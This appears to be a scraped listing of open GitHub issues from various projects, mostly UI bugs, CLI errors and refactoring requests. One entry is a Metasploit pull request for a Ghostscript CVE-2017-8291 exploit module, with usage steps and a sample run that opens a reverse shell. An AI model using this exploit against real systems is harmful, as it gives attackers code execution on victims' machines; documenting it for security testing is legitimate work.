Contribute to Open Source. Search issue labels to find the right project for you!

Backarrow <- gets small

threema-ch/threema-web

Expected Behavior

When pointing at the Backarrow <- in the conversation window with the mouse, his change of size should be the same.

Current Behavior

When there are many group members and their names do not fit into the current window, the backarrow jumps very small to the left side, so that it is hard to hit the arrow. The size of the small arrow seams to depend on window size.

Possible Solution

Don' know.

Steps to Reproduce (for bugs)

<!— Provide a screenshot and/or an unambiguous set of steps to reproduce this bug. –> 1. Enter a group conversation with many members 2. move mouse to <-

Your Environment

<!— Include as many relevant details about the environment you experienced the bug in. –> <!— Feel free to remove irrelevant lines. –> * Threema Web version: 1.1.0 * Threema for Android version: 3.13 * Threema for Android source: Threema Store| * Browser name and version: tested on Firefox and Chrome * Operating system and version: tested on Ubuntu & Windows10

Updated 30/04/2017 10:41

Get singleton

llipio/algorithms

Input: an array of integers, each number shows up twice except one. Output: the number that only shows up once.

In: [1,1,2,3,4,3,4] out: 2

Updated 30/04/2017 06:25

Make Links in Open Issue List Open Link in New Tab

tmobaird/i-want-to-contribute

Currently when an open issue in the Open Issue List is clicked it will direct you to that issue on Github in your browser. (FYI, this list):

image

I feel we should change this to opening the link in a new tab, since the link will be taking the user outside of the app.

This is a SUPER easy change. The change needs to be made in OpenIssue.jsx. The component currently renders a link with:

<a href={this.props.data.html_url}>

This should be updated to add the html attribute target="_blank" to the anchor/link (<a>) tag.

Updated 30/04/2017 06:00

Investigate using cache better in CircleCI

allenai/deep_qa

Looks like our build scripts for CircleCI intentionally clear the cache before building the docs, which makes things take longer than they probably need to. It didn’t use to matter much, because Travis was always way slower, but now sometimes CircleCI finishes after Travis. I don’t know why clearing the cache is necessary; @nelson-liu, any particular reason you put that in there?

Updated 29/04/2017 18:55 3 Comments

title too big and overlaps

mne-tools/mne-python

see:

http://martinos.org/mne/stable/auto_tutorials/plot_visualize_evoked.html

the code that generates:

http://martinos.org/mne/stable/_images/sphx_glr_plot_visualize_evoked_013.png

makes the title too big and it overlaps with legend. It should be fixed.

Updated 29/04/2017 15:04

better automatic layout for evoked.plot

mne-tools/mne-python

try to run

import os.path as op
import numpy as np
import matplotlib.pyplot as plt

import mne

data_path = mne.datasets.sample.data_path()
fname = op.join(data_path, 'MEG', 'sample', 'sample_audvis-ave.fif')
evoked = mne.read_evokeds(fname, baseline=(None, 0), proj=True, condition=0)

fig = evoked.plot(selectable=False)
fig = evoked.copy().pick_types(meg=True, eeg=True).plot(selectable=False)
fig = evoked.copy().pick_types(meg="mag", eeg=True).plot(selectable=False)
fig = evoked.copy().pick_types(meg="grad", eeg=True).plot(selectable=False)
fig = evoked.copy().pick_types(meg="grad").plot(selectable=False)
fig = evoked.copy().pick_types(meg=False, eeg=True).plot(selectable=False)
fig = evoked.copy().pick_types(meg=False, eeg=True, eog=True).plot(selectable=False)

and you’ll see some texts overlapping, some white spaces etc… So it does not look nice automatically.

I can hack it with:

import os.path as op
import numpy as np
import matplotlib.pyplot as plt

import mne

data_path = mne.datasets.sample.data_path()
fname = op.join(data_path, 'MEG', 'sample', 'sample_audvis-ave.fif')
evoked = mne.read_evokeds(fname, baseline=(None, 0), proj=True, condition=0)

fig = evoked.plot(selectable=False)
fig.set_size_inches(6.4, 6)
for ax in fig.axes[:-1]: ax.set_xlabel(' ')
fig.tight_layout()
fig = evoked.copy().pick_types(meg=True, eeg=True).plot(selectable=False)
fig.set_size_inches(6.4, 4.5)
for ax in fig.axes[:-1]: ax.set_xlabel(' ')
fig.tight_layout()
fig = evoked.copy().pick_types(meg="mag", eeg=True).plot(selectable=False)
fig.set_size_inches(6.4, 3.4)
for ax in fig.axes[:-1]: ax.set_xlabel(' ')
fig.tight_layout()
fig = evoked.copy().pick_types(meg="grad", eeg=True).plot(selectable=False)
fig.set_size_inches(6.4, 3.4)
for ax in fig.axes[:-1]: ax.set_xlabel(' ')
fig.tight_layout()
fig = evoked.copy().pick_types(meg="grad").plot(selectable=False)
fig.set_size_inches(6.4, 2)
for ax in fig.axes[:-1]: ax.set_xlabel(' ')
fig.tight_layout()
fig = evoked.copy().pick_types(meg=False, eeg=True).plot(selectable=False)
fig.set_size_inches(6.4, 2)
for ax in fig.axes[:-1]: ax.set_xlabel(' ')
fig.tight_layout()
fig = evoked.copy().pick_types(meg=False, eeg=True, eog=True).plot(selectable=False)
fig.set_size_inches(6.4, 3.4)
for ax in fig.axes[:-1]: ax.set_xlabel(' ')
fig.tight_layout()

we should make this look nice automatically.

Updated 29/04/2017 15:12 3 Comments

Migrate dataset reader code from (scala) DeepQA Experiments to DeepQA

allenai/deep_qa

Firstly, Much thanks to this great project, which is what I would like to do; I’ll continuously watch, use, and even contribute to this project.

But when I want to run some pipelines from scratch, but found that the data pre processing steps is in another project: https://github.com/allenai/deep_qa_experiments, the project’s code is scala.

I think the preprocessing steps in another steps is complicated for someone wishing to start the stuff quickly.

Updated 30/04/2017 05:22 2 Comments

Get rid of the lambdas sprinkled throughout CLI

CCI-MOC/hil

Since we’re re-doing the CLI anyhow in #746 , we should get rid of the extra lambdas that are all over cli.py. They’re extra syntax that complicates the code, and we can get by without them.

My suggestion: stick the call dispatch from main() into a try/except block that catches FailedAPICallException, then get rid of check_client_response() and the lambdas.

Updated 29/04/2017 00:06

Remove superfluous re: examples from docs

borgbackup/borg
# Backup home directories excluding image thumbnails (i.e. only
# /home/*/.thumbnails is excluded, not /home/*/*/.thumbnails)
$ borg create /path/to/repo::my-files /home \
    --exclude 're:^/home/[^/]+/\.thumbnails/'

# Do the same using a shell-style pattern
$ borg create /path/to/repo::my-files /home \
    --exclude 'sh:/home/*/.thumbnails'

Remove former.

# The contents of directories in '/home' are not backed up when their name
# ends in '.tmp'
$ borg create --exclude 're:^/home/[^/]+\.tmp/' backup /

Rewrite as sh: pattern.

Updated 28/04/2017 20:12

Using assert_*_equal macros in all tests

AtheMathmo/rulinalg

We have just merged #163 which gives us flexible scalar comparisons. Currently many of our tests have checks like this:

let det = lu.det();
let expected_det = 3.0;
let diff = det - expected_det;
assert!(diff.abs() < 1e-6);

Instead we can use the new macro:

assert_scalar_eq!(lu.det(), 3.0, comp = float);

This is cleaner and more flexible. To resolve this issue we should convert all existing comparison checks to use the assert_*_eq! macros.

Updated 28/04/2017 16:18

Ghostscript CVE-2017-8291 module based on the public PoC

rapid7/metasploit-framework

This module exploits a type confusion error in Ghostscript 9.2.1 and below. It is based on the public proof-of-concept attached to the original ticket in the bug tracker @ https://bugs.ghostscript.com/show_bug.cgi?id=697808.

Verification

  • [ ] Start msfconsole
  • [ ] use exploit/unix/fileformat/ghostscript_type_confusion
  • [ ] exploit
  • [ ] In a shell, run: gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f /home/hdm/.msf4/local/msf.eps
  • [ ] Verify that a session has been created

Sample run: ``` msf > use exploit/unix/fileformat/ghostscript_type_confusion msf exploit(ghostscript_type_confusion) > exploit

[] Started reverse TCP handler on 192.168.0.3:4444 [+] msf.eps stored at /home/hdm/.msf4/local/msf.eps [] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.3:54164) at 2017-04-28 10:00:31 -0500

id uid=1000(hdm) gid=1002(hdm) groups=1002(hdm) exit

[*] 192.168.0.3 - Command shell session 1 closed. Reason: Died from EOFError

msf exploit(ghostscript_type_confusion) > ```

Updated 28/04/2017 15:04

`python -m clize path.to.a.function` (Clize launcher)

epsy/clize

Given that Clize now supports most decorators and docstring formats, the time seems right to introduce this idea again:

$ python -m clize some_module.some_function arguments for --that function

would be (roughly) equivalent to the Python code:

from some_module import some_function
some_function('arguments', 'for', that='function')

Additionally, an entry point can be added to setup so that you can use clize ... instead of python -m clize ....

Tips: - some_function may not be directly importable, e.g. some_module.SomeClass.some_classmethod - The Usage: line of the --help output needs to match what was entered. - You can most likely use a Clize CLI for this :)

Updated 28/04/2017 05:45

Fix typo in logger.info in rest.py

CCI-MOC/hil

It was changed here. We changed the % to , but forgot to remove the brackets. Without this the logger function litters the debug messages. Traceback (most recent call last): File "/usr/lib64/python2.7/logging/__init__.py", line 851, in emit msg = self.format(record) File "/usr/lib64/python2.7/logging/__init__.py", line 724, in format return fmt.format(record) File "/usr/lib64/python2.7/logging/__init__.py", line 464, in format record.message = record.getMessage() File "/usr/lib64/python2.7/logging/__init__.py", line 328, in getMessage msg = msg % self.args TypeError: not enough arguments for format string

Updated 28/04/2017 19:02

Encourage StreetCRM instances to be compliant with Digital Privacy Alliance guidelines and prospective IL state laws.

OpenTechStrategies/streetcrm

See https://digitalprivacyalliance.org/news/2017/4/26/rtozydcmt6970vrlhyt6wcj3zdp3vs . We should make it easy for StreetCRM instances to both be compliant with and to demonstrate compliance with “Right to Know” (HB 2774) and “Geolocation Privacy Protection” (HB 3449), which are likely to become law in IL (and which Open Tech Strategies publicly supports; see https://digitalprivacyalliance.org/whoweare/).

Updated 27/04/2017 20:49

Support import of resource type google_storage_bucket

hashicorp/terraform

Terraform Version

v0.9.3

Affected Resource(s)

google_storage_bucket

Debug Output

Not relevant, but the simple output is: ```Error importing: 1 error(s) occurred:

  • google_storage_bucket.<name> (import id: <name>-<name>-corp): import google_storage_bucket.<name>-data (id: <name>-<name>-corp): resource google_storage_bucket doesn’t support import ```

Expected Behavior

Terraform imports the existing resource.

Actual Behavior

Terraform said it doesn’t support importing resource type google_storage_bucket

Steps to Reproduce

  1. terraform import google_storage_bucket.<name>-data <name>-<name>-corp
  2. See output
Updated 27/04/2017 22:19

Suggestion for installing scoped generator is wrong

yeoman/yo

Type of issue

Bug

<!– Please delete the rest of the template in case of a feature request –>


My environment

  • OS version/details: Windows 10 64-bit
  • Node version: 6.1.0
  • npm version: 4.5.0
  • Version of yo : 1.8.5

Expected behavior

Attempting to run a scoped generator (e.g. yo @somescope/somegen) should tell the user how to install it if it doesn’t exist. The npm install suggestion should be npm install @somescope/generator-somegen.

Current behavior

The message is npm install generator-@somescope/somegen.

Steps to reproduce the behavior

Run yo @foo/bar when you do not have @foo/generator-bar installed.

Command line output

λ yo @foo/bar
Error @foo/bar

You don’t seem to have a generator with the name “@foo/bar” installed.
But help is on the way:

You can see available generators via npm search yeoman-generator or via http://yeoman.io/generators/.
Install them with npm install generator-@foo/bar.

To see all your installed generators run yo without any arguments. Adding the --help option will also show subgenerators.

If yo cannot find the generator, run yo doctor to troubleshoot your system.
Updated 28/04/2017 01:55 1 Comments

Magic Number to Wipe Configuration Settings

travisgoodspeed/md380tools

We sometimes add new items to our configuration structure, and sometimes we really oughtn’t have old data fill those bytes. We can solve this by adding a magic number field to the structure, changing that number when breaking changes are made to the format. If the expect number is not found, a known-good structure should be written into the configuration, wiping all custom settings but resetting everything to a working state.

Close this issue when: - [ ] Such a magic number exists. - [ ] A known-good template exists. - [ ] The template is flashed in whenever the magic number field is wrong.

This shouldn’t involve much new code, so it could be a good first commit for a developer who hasn’t already contributed to the project. Our radio configuration is defined in radio_config.h which is mostly written by menu.c.

Updated 27/04/2017 15:47 1 Comments

Make files organisation clearer

LiskHQ/lisk-nano

Expected behaviour

Some files should be moved and/or renamed, namely: ```

adhere to cammelCase

mv src/app/lisk-nano.js src/app/liskNano.js mv src/app/services/sign-verify.js src/app/services/signVerify.js mv src/app/components/sign-verify/sign-message.js src/app/components/sign-verify/signMessage.js mv src/app/components/sign-verify/sign-message.pug src/app/components/sign-verify/signMessage.pug mv src/app/components/sign-verify/verify-message.js src/app/components/verify-verify/verifyMessage.js mv src/app/components/sign-verify/verify-message.pug src/app/components/verify-verify/verifyMessage.pug mv src/app/components/sign-verify/ src/app/components/signVerify/

this one need to be merged with ./package.json

mv src/package.json ./

make folder structure cleaner

mv src/app/services/peers/peers.js src/app/services/ rmdir src/app/services/peers/ mv src/app/* src/ rmdir src/app mv src/test ./test mv src/spec ./e2e-test

move conf files to root

mv src/webpack.config.babel.js ./ mv src/karma.conf.js ./ mv src/.eslintrc.json ./ ```

Consequently, all the files that refer to the aforementioned have to be updated. Also, unit test files cammelCase should be updated accordingly.

Actual behaviour

All files are in their current location

Updated 27/04/2017 10:17

Signed message output missing publickey for cold accounts

LiskHQ/lisk-nano

Expected behaviour

-----BEGIN LISK SIGNED MESSAGE-----
Test Message
-----BEGIN SIGNATURE-----
37f950fce7051400629cc1a82879b954bbeb6844235b72158f0a49bbc90b14b2
3eb1937b1489859d063e0db66dc902777ec666e7e46801cac007e07da833673cafd4e784901377d93523ce60e1f7478f52f3cffa089c8ce10b8bb0226b2c9b0b54657374204d657373616765
-----END LISK SIGNED MESSAGE-----

Actual behaviour

-----BEGIN LISK SIGNED MESSAGE-----
Test Message
-----BEGIN SIGNATURE-----

3eb1937b1489859d063e0db66dc902777ec666e7e46801cac007e07da833673cafd4e784901377d93523ce60e1f7478f52f3cffa089c8ce10b8bb0226b2c9b0b54657374204d657373616765
-----END LISK SIGNED MESSAGE-----

Steps to reproduce

  1. Login using the new account wizard
  2. Click Sign Message from menu
  3. Enter a Message to sign
Updated 27/04/2017 10:32 1 Comments

Invalid fields in ttnctl gateways info command

TheThingsNetwork/ttn

This is a bug report for ttnctl.

  • Explain what you want to do: find out if my gateway is active
  • Explain what steps you took: run ttnctl gateways info eui-b827ebfffe388da3
  • Explain what went wrong or what is missing:

Command output contains incorrect fields:

Gateway ID:     eui-b827ebfffe388da3
Activated:      false
Frequency Plan: EU_863_870
Location Info  : (36.892400, 10.187300, %!f(int=0)) (private)
Status Info:    private
Access Key    : ttn-account-v2.<REDACTED>
  • Activated should be removed
  • Location info has incorrect formatting
Updated 29/04/2017 22:05

Support sparse input in interfaces_getitem when num_best is not None

RaRe-Technologies/gensim

Sparse input is ony supported when num_best=None, otherwise errors. Raised on the mailing list https://groups.google.com/d/msg/gensim/-PhUHorj9-E/N6apxcqnHQAJ

from scipy.sparse import random
from gensim.similarities import SparseMatrixSimilarity
from gensim.matutils import Sparse2Corpus

X = random(200e3, 15e3, density=2e-4, format="csc")
index = SparseMatrixSimilarity(Sparse2Corpus(X, documents_columns=False), num_features=X.shape[1], num_terms=X.shape[0], maintain_sparsity=True, num_best=100)

for s in index:
    print s

returns

---------------------------------------------------------------------------
ValueError                                Traceback (most recent call last)
<ipython-input-2-04d8dd3277db> in <module>()
----> 1 for s in index:
      2         print s
      3 

/home/lev/miniconda2/lib/python2.7/site-packages/gensim/interfaces.pyc in __iter__(self)
    264                 chunk_end = min(self.index.shape[0], chunk_start + self.chunksize)
    265                 chunk = self.index[chunk_start : chunk_end]
--> 266                 for sim in self[chunk]:
    267                     yield sim
    268         else:

/home/lev/miniconda2/lib/python2.7/site-packages/gensim/interfaces.pyc in __getitem__(self, query)
    226         # most similar for each document in turn
    227         if matutils.ismatrix(result):
--> 228             return [matutils.full2sparse_clipped(v, self.num_best) for v in result]
    229         else:
    230             # otherwise, return top-n of the single input document

/home/lev/miniconda2/lib/python2.7/site-packages/gensim/matutils.pyc in full2sparse_clipped(vec, topn, eps)
    241     if topn <= 0:
    242         return []
--> 243     vec = np.asarray(vec, dtype=float)
    244     nnz = np.nonzero(abs(vec) > eps)[0]
    245     biggest = nnz.take(argsort(abs(vec).take(nnz), topn, reverse=True))

/home/lev/miniconda2/lib/python2.7/site-packages/numpy/core/numeric.pyc in asarray(a, dtype, order)
    529 
    530     """
--> 531     return array(a, dtype, copy=False, order=order)
    532 
    533 

ValueError: setting an array element with a sequence.
Updated 27/04/2017 16:03 1 Comments

[objc] "Avoid one- and two-letter names for arguments" rule

mono/Embeddinator-4000

Rule from Apple under “Method Arguments”.

If we take this C# code for instance: https://github.com/mono/Embeddinator-4000/blob/objc/tests/managed/methods.cs#L93-L94 (and once https://github.com/mono/Embeddinator-4000/issues/193 and https://github.com/mono/Embeddinator-4000/issues/194 are fixed :P) we should get:

- (int)doItWithInt32Value:(int) anInt;
- (int)doItWithStringValue:(NSString *) aString;
Updated 28/04/2017 15:13 9 Comments

[objc] Use word "Value" in method's names after a type

mono/Embeddinator-4000

Following https://github.com/mono/Embeddinator-4000/issues/193 it’s pretty common/convention in ObjC to say Value after a type if it’s what you have to use in your method’s name.

So https://github.com/mono/Embeddinator-4000/blob/objc/tests/managed/methods.cs#L93-L94 for instance should become:

- (int)doItWithInt32Value:(int) i;
- (int)doItWithStringValue:(NSString *) s;
Updated 27/04/2017 00:35 5 Comments

lxd should clear the interface volatile keys as part of Update()

lxc/lxd

Required information

  • Distribution: Ubuntu

  • Distribution version: 17.04

* The output of “lxc info” or if that fails:

config: core.https_address: ‘[::]:8443’ core.trust_password: true api_extensions: - storage_zfs_remove_snapshots - container_host_shutdown_timeout - container_syscall_filtering - auth_pki - container_last_used_at - etag - patch - usb_devices - https_allowed_credentials - image_compression_algorithm - directory_manipulation - container_cpu_time - storage_zfs_use_refquota - storage_lvm_mount_options - network - profile_usedby - container_push - container_exec_recording - certificate_update - container_exec_signal_handling - gpu_devices - container_image_properties - migration_progress - id_map - network_firewall_filtering - network_routes - storage - file_delete - file_append - network_dhcp_expiry - storage_lvm_vg_rename - storage_lvm_thinpool_rename - network_vlan - image_create_aliases - container_stateless_copy api_status: stable api_version: “1.0” auth: trusted public: false environment: addresses: - 10.0.0.134:8443 - 172.17.238.14:8443 - 192.168.122.1:8443 architectures: - x86_64 - i686

driver: lxc driver_version: 2.0.7 kernel: Linux kernel_architecture: x86_64 kernel_version: 4.10.0-20-generic server: lxd server_pid: 2966 server_version: “2.12” storage: dir storage_version: “1”

root@LXD-QA-Server-04:~#

Issue description

When removing network interfaces via the “lxc network detach” command, the interface index presented to the container (ie: eth0, eth1, etc) does not get reset. As a result, the static network configuration for the container is no longer valid, and the container can’t get an IP address.

Steps to reproduce

  1. Ensure no network interfaces are configured in the default profile

  2. Launch a new Ubuntu container

  3. Attach a new network interface via the command “lxc network attach eth0 <container_name>”

4. Run the command, “lxc config show <container_name> - taking note of the devices section. Example:

devices: eth0: nictype: macvlan parent: eth0

type: nic

  1. Execute a shell inside the container and type “ip a s” - should see one interface at “eth0”

  2. Stop the container, detach the interface, and attach a new interface:
    lxc network detach eth0 <container_name>“ lxc network attach eth1 <container_name>”

  3. Run the command, “lxc config show <container_name> - taking note of the devices section. The device list should be correct, but the "volatile” information still shows eth0 and eth1.

  4. Start the container again, get a shell, and type “ip a s”. This time, the interface index is eth1 instead of eth0. Since this is the only interface configured for this device, I would expect to see eth0 only.

The same combination of events can also cause the old interface to retain its original id. In the case above, if I remove “eth2”, add eth3, then add eth2 back, the container retains the old eth2 details.

It seems the code that indexes the interfaces is not cleaning out the old values. Thus, the container could end up with the wrong interfaces connected.

Real-world example:

  • We provision containers on eth0 to perform initial configs on our setup network.
  • Once the provisioning is done, we move the container to our production network by detaching the setup network interface and attaching the production network interface (eth0 and eth2 respectively) and applying the necessary IP addresses in the container’s network configuration files.
  • The above scenario prevents our auto-setup scripts from working as the “eth0” interface is now “eth1”.

The only way to fix this issue is to copy the container to a new container ID. The copying process seems to fix the network index issue.

Updated 26/04/2017 22:04 3 Comments

"lxc network show <remote>:" (without a network name) fails with a weird error

lxc/lxd

Required information


  • Distribution: Ubuntu

  • Distribution version: 17.04

* The output of “lxc info” or if that fails:

config: core.https_address: ‘[::]:8443’ core.trust_password: true api_extensions: - storage_zfs_remove_snapshots - container_host_shutdown_timeout - container_syscall_filtering - auth_pki - container_last_used_at - etag - patch - usb_devices - https_allowed_credentials - image_compression_algorithm - directory_manipulation - container_cpu_time - storage_zfs_use_refquota - storage_lvm_mount_options - network - profile_usedby - container_push - container_exec_recording - certificate_update - container_exec_signal_handling - gpu_devices - container_image_properties - migration_progress - id_map - network_firewall_filtering - network_routes - storage - file_delete - file_append - network_dhcp_expiry - storage_lvm_vg_rename - storage_lvm_thinpool_rename - network_vlan - image_create_aliases - container_stateless_copy api_status: stable api_version: “1.0” auth: trusted public: false environment: addresses: - 10.0.0.130:8443 - 192.168.122.1:8443 architectures: - x86_64 - i686 driver: lxc driver_version: 2.0.7 kernel: Linux kernel_architecture: x86_64 kernel_version: 4.10.0-20-generic server: lxd server_pid: 2703 server_version: “2.12” storage: “”

storage_version: “”

Issue description

When executing the command, “lxc network show <remote_host>: command, the error message "error: json: cannot unmarshal array into Go value of type” is returned.

Steps to reproduce

  1. Setup two identical LXD servers

  2. Enable server 1 to remotely manage server 2: lxc config set core.https_address [::]:8443 lxc config set core.trust_password <my_pass>

  3. Add remote server to server 1 lxc remote add <remote_server> <remote_IP>

  4. run the command, “lxc network show <remote_server>”

I was expecting to get a list of network interfaces attached/configured on the remote server. However, the error message was returned instead.

Updated 26/04/2017 20:54 8 Comments

Closing new account procedure results in inaccessible login

LiskHQ/lisk-nano

Expected behaviour

User is able to either Enter your passphrase or recommence New Account procedure.

Actual behaviour

Enter your passphrase field is not accessible. New Account procedure is disabled.

Steps to reproduce

  • User clicks on New Account.
  • User moves their mouse to generate random bytes.
  • User clicks Close on dialog when asked to Save your passphrase in a safe place!.

Selecting View -> Reload is the only way of regaining access to the login page.

Updated 27/04/2017 10:16

Send modal does not appear correctly on Firefox

LiskHQ/lisk-nano

Expected appearance

Send modal expands to correct height, not overlapping footer.

Actual appearance

<img width=“720” alt=“image” src=“https://cloud.githubusercontent.com/assets/8068/25432071/5e675db4-2a83-11e7-83b1-ef268350716a.png”>

Steps to reproduce

  • Using Mozilla Firefox 53.0.
  • Log into lisk-nano.
  • Click Send.
Updated 27/04/2017 10:17

Remember previous asset location

SFTtech/openage

After a “successful” conversion, we could store the location of the source folder in root/cfg/asset_location so that upon the next conversion, that folder will be reused by default.

Implementation should probably be in: * openage/convert/main.py * and pass the full root path to the conversion_required in openage/game/main.py (currently it’s just root/assets but we wanna have root/cfg there to read and write the file)

Updated 27/04/2017 10:37

i~{} messes up the thing

radare/radare2

{} indents non-valid-json.. maybe we should just ignore if first char is not ‘{’

[0x100001174]> i~{} blksz0x0block0x100fd6file/bin/lsformatmach064iorwfalsemode-r--size0x9670humansz37.6KtypeExecutablefilearchx86binsz38512bintypemach0bits64canarytrueclassMACH064cryptofalseendianlittlehavecodetrueintrp/usr/lib/dyldlangclinenumfalselsymsfalsemachinex8664allmaxopsz16minopsz1nxfalseososxpcalign0pictruerelocsfalsestaticfalsestrippedtruesubsysdarwinvatrue

Updated 26/04/2017 09:16

Accept relative paths with -i

CellProfiler/CellProfiler

To reproduce: Checkout the ‘AdvancedSegmentation’ branch on Cellprofiler/Tutorials; Try to run the pipeline with a CP version after 5d5b700936fc6835bf378fd392a885c353f54001: cellprofiler -c -r -p ..\tutorials\AdvancedSegmentation\BBBC022_Analysis_Final.cppipe -i ..\tutorials\AdvancedSegmentation\images\ -o ..\tutorials\output Stack trace: Your pipeline version is 20160503183100 but you are running CellProfiler version 300. Loading this pipeline may fail or have unpredictable results. Exception in thread "Thread-0" java.lang.IllegalArgumentException: URI is not hierarchical at java.io.File.<init>(Unknown Source) at org.cellprofiler.imageset.ImageFile.getFileName(ImageFile.java:91) at org.cellprofiler.imageset.filter.ExtensionPredicate.eval(ExtensionPredicate.java:33) at org.cellprofiler.imageset.filter.ExtensionPredicate.eval(ExtensionPredicate.java:25) at org.cellprofiler.imageset.filter.LogicPredicate.eval(LogicPredicate.java:60) at org.cellprofiler.imageset.filter.Filter.eval(Filter.java:240) at org.cellprofiler.imageset.filter.Filter.filterURLs(Filter.java:154) Failed to prepare run for module Images Traceback (most recent call last): File "i:\github\cellprofiler\cellprofiler\pipeline.py", line 2057, in prepare_run if ((not module.prepare_run(workspace)) or File "i:\github\cellprofiler\cellprofiler\modules\images.py", line 268, in prepare_run "([Ljava/lang/String;)[Z", file_array) File "c:\python27\lib\site-packages\javabridge\jutil.py", line 885, in call result = fn(*nice_args) File "c:\python27\lib\site-packages\javabridge\jutil.py", line 852, in fn raise JavaException(x) JavaException: URI is not hierarchical

Updated 26/04/2017 17:19 4 Comments

Add an a Python 2 flag

python-security/pyt

Skip over the 2to3 shell out if it is set. You can add a test file with this flag set as well, comment out any test if it fails, also make the flag valueaccessible in the cfg files.

(So the [easy] issues are good for new people who want to start contributing to look at.)

Updated 26/04/2017 06:35

Add readthedocs

python-security/pyt

If you look at https://github.com/trailofbits/manticore/blob/master/README.md you can see a nice link at the top to the docs. I’ll write the docs once the layout is there, please see https://www.slideshare.net/mobile/JohnCosta/how-to-readthedocs

(So the [easy] issues are good for new people who want to start contributing to look at.)

Updated 27/04/2017 18:12 3 Comments

Add CodeClimate

python-security/pyt

E.g. If we look at https://github.com/trailofbits/protofuzz we can see the test coverage at the top and a link to code climate.

To fix this we more or less copy the codeclimate.yml and relevant parts of the top of the README.

(So the [easy] issues are good for new people who want to start contributing to look at.)

Updated 26/04/2017 06:35

Delegate account is not clearly indicated

LiskHQ/lisk-nano

The following might be already resolved by work going into: https://github.com/LiskHQ/lisk-nano/issues/22. Opening issue anyway in order to bring attention to it.

Expected appearance

Some indication that the account is a delegate. Possibly displaying username alongside or instead of address.

Actual appearance

Address is shown but with no indication account is a delegaate:

<img width=“390” alt=“lisk nano firefox wednesday 19 april 2017 at 13 01 05” src=“https://cloud.githubusercontent.com/assets/8068/25383063/9c735474-29ba-11e7-9069-c3e133fe6c64.png”>

Forging tab is made visible. Username shown to left of “LSK Earned” (this could be made bolder):

<img width=“957” alt=“image” src=“https://cloud.githubusercontent.com/assets/8068/25383083/bc103dce-29ba-11e7-8490-806af470a309.png”>

Steps to reproduce

Login as a delegate.

Updated 27/04/2017 10:16

Peer selection highlighted as errorneous when passphrase invalid

LiskHQ/lisk-nano

Expected behaviour

Passphrase field is highlighted when input is invalid.

Actual behaviour

All input fields are highlighted as having an error i.e. “Choose a peer”.

<img width=“802” alt=“lisk nano firefox wednesday 19 april 2017 at 12 44 09” src=“https://cloud.githubusercontent.com/assets/8068/25378160/d1d13e30-29a9-11e7-911f-9d79f89e494b.png”>

Steps to reproduce

Enter an invalid passphrase upon login, e.g. “x”.

Updated 27/04/2017 10:16

Complete Cases in Proof By Evaluation

ucsd-progsys/liquidhaskell

Any idea why this is not working? (see: tests/todo/T997.hs)

{-@ LIQUID "--exact-data-con"                      @-}
{-@ LIQUID "--higherorder"                         @-}
{-@ LIQUID "--totality"                            @-}
{-@ LIQUID "--automatic-instances=liquidinstances" @-}

import Language.Haskell.Liquid.ProofCombinators

{-@ data List [llen] = Nil | Cons {lTl :: List} @-}
data List = Nil | Cons List

{-@ measure llen @-}
{-@ llen :: List -> Nat @-}
llen :: List -> Int
llen Nil      = 0
llen (Cons t) = 1 + llen t

{-@ reflect sz @-}
sz :: List -> Int
sz Nil      = 0
sz (Cons t) = 1 + sz t

-- THIS IS OK
{-@ ok :: { llen ((Cons Nil)) == 1 } @-}
ok = ()

-- THIS IS NOT
{-@ fails :: { sz (Cons Nil) == 1 } @-}
fails = trivial
Updated 29/04/2017 12:02 10 Comments

[windows] pip install -e fails with encoding problem, both in win10 powershell or MINGW64

python-bonobo/bonobo

Not professional windows user here, quite the contrary. Maybe noob mistake.

Maybe related to the way I installed git ? I asked for “clone using windows encoding, commit using unix”. Gonna try again with full unix, maybe.

PS C:\bb36\bonobo> pip install -e .
Obtaining file:///C:/bb36/bonobo
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "C:\bb36\bonobo\setup.py", line 48, in <module>
        long_description=read('README.rst'),
      File "C:\bb36\bonobo\setup.py", line 15, in read
        content = f.read().strip()
      File "c:\users\ieuser\appdata\local\programs\python\python36\lib\encodings\cp1252.py", line 23, in decode
        return codecs.charmap_decode(input,self.errors,decoding_table)[0]
    UnicodeDecodeError: 'charmap' codec can't decode byte 0x90 in position 2: character maps to <undefined>

    ----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in C:\bb36\bonobo\
Updated 28/04/2017 05:00 2 Comments

Translate some Qt warnings to error messages

qutebrowser/qutebrowser

With colors -> hints.bg set to rgba(255, 197, 66, 0.8)) we get:

Traceback (most recent call last):
  File "/usr/lib/python3.6/site-packages/qutebrowser/utils/log.py", line 435, in qt_message_handler
    raise CriticalQtWarning(msg)
qutebrowser.utils.log.CriticalQtWarning: Could not parse stylesheet of object 0x1505170

I’m going to remove that from the critical warnings now, but we should show some error message instead. Same goes for #2554 where we could show an error recommending to install PyOpenGL.

Updated 24/04/2017 21:15

Collect Jsdoc, Javadoc, phpdoc, @ tags

nexB/scancode-toolkit

For instance: PHP: * https://github.com/bdelespierre/php-axiom/blob/c87a017512493cc9ebfb48d826d707f882871b0e/application/index.php#L6 * https://github.com/jelix/docs-jelix-org/blob/b2d5b672a77274032d70ca1c7d540f471a140aaa/lib/jelix-scripts/createapp.php#L7

JS: * https://github.com/lyawile/tuna/blob/0cc908fc915fd1d9aaa63a3fc9c5ed0280bce3d7/media/plg_everything_in_everyway_cookie_policy/js/admin.js#L6

Java: * https://github.com/Monits/scraper/blob/609c43f2496e319ca9e0dc611714c843d146af04/src/main/java/com/monits/scraper/transformation/Transformation.java * https://github.com/OSTC/PFTT2/blob/a6b3e5b47bdd498fb3255059de6b2425a3ba7f58/src/com/mostc/pftt/scenario/app/SquirrelMailScenario.groovy * https://github.com/synhaptein/kaliya/blob/54dbd2aafe9f2c9069b9d9bc917d37a28164ef9f/kaliya-command/src/main/scala/com/synhaptein/kaliya/controller/Md5cracker.scala

C/C++: * https://github.com/graemedouglas/LittleD/blob/32f81a14fd6b66d0a98e271195b1aa43d183af14/src/dbops/select.c * https://sourceforge.net/p/microhal/code-0/279/tree//microHAL/trunk/hostComm/tests/ut01_ping_pong.cpp?barediff=52b08f717929e52c8495d2b1:278?SetFreedomCookie * https://github.com/mavak/superswitcher/blob/c3579d0bc61847446f82364dd37275f88672db0f/src/dbus-object.h#L2

AS: * https://github.com/amacgregor/magento-1.7.0.2/blob/3991bf31fdc7d6040279c78e932b148df7d7c7da/lib/flex/varien/varien/upload/UploaderSingle.as

